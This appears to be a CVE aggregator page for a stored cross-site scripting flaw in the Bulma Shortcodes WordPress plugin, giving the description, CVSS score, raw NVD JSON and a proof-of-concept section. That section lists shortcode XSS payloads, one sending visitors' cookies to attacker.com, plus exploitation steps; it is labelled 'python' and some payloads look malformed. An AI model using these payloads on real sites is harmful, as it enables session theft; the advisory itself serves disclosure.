Security Vulnerability Report
中文
CVE-2025-11802 CVSS 6.4 MEDIUM

CVE-2025-11802

Published: 2025-11-21 08:15:52
Last Modified: 2026-04-15 00:35:42

Description

The Bulma Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'type' shortcode attribute in the bulma-notification shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Bulma Shortcodes ≤ 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11802 PoC: Stored XSS in Bulma Shortcodes bulma-notification shortcode --> <!-- Basic XSS PoC --> [bulma-notification type='"><script>alert(document.cookie)</script>'] <!-- Event handler based XSS --> [bulma-notification type='xss' onload='alert("XSS")'] <!-- Image onerror XSS --> [bulma-notification type='xss' onerror='fetch("https://attacker.com/steal?c="+document.cookie)']> <!-- Stored XSS with attribute injection --> [bulma-notification type='test" style='animation-name:rotation' onanimationend='alert(1)'] <!-- Steps to exploit: --> <!-- 1. Login as Contributor or higher role --> <!-- 2. Create/edit a post or page --> <!-- 3. Insert the malicious shortcode --> <!-- 4. Publish the post --> <!-- 5. Any user visiting the page will execute the XSS payload -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11802", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:51.510", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Bulma Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'type' shortcode attribute in the bulma-notification shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bulma-shortcodes/tags/1.0/inc/components.php#L36", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e119d542-7cac-47e4-ae13-5382911f1f5e?source=cve", "source": "[email protected]"}]}}